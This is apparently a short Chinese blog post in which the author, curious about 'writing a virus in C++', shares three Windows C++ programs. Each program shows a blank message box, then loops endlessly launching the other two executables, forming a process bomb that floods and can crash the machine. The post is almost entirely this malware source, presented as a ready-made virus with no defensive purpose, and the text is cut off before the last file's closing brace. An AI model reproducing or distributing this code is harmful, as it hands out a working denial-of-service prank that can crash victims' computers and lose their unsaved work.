自己用C++编一个病毒会怎么样？

最近突然有一个很疯狂的想法：自己用C++编一个病毒会怎么样？

说干就干，我用C++编写了3个源代码，就放在下面：

1.cpp

#include <iostream>
#include <windows.h>
using namespace std;

int main() {
	MessageBox(NULL," "," ",MB_OK);
	while(1){
		WinExec("2.exe",SW_SHOW);
		WinExec("3.exe",SW_SHOW);
	}

	return 0;
} 

2.cpp

#include <iostream>
#include <windows.h>
using namespace std;

int main() {
	MessageBox(NULL," "," ",MB_OK);
	while(1){
		WinExec("3.exe",SW_SHOW);
		WinExec("1.exe",SW_SHOW);
	}

	return 0;
} 

3.cpp

#include <iostream>
#include <windows.h>
using namespace std;

int main() {
	MessageBox(NULL," "," ",MB_OK);
	while(1){
		WinExec("1.exe",SW_SHOW);
		WinExec("2.exe",SW_SHOW);
	}

	return 0;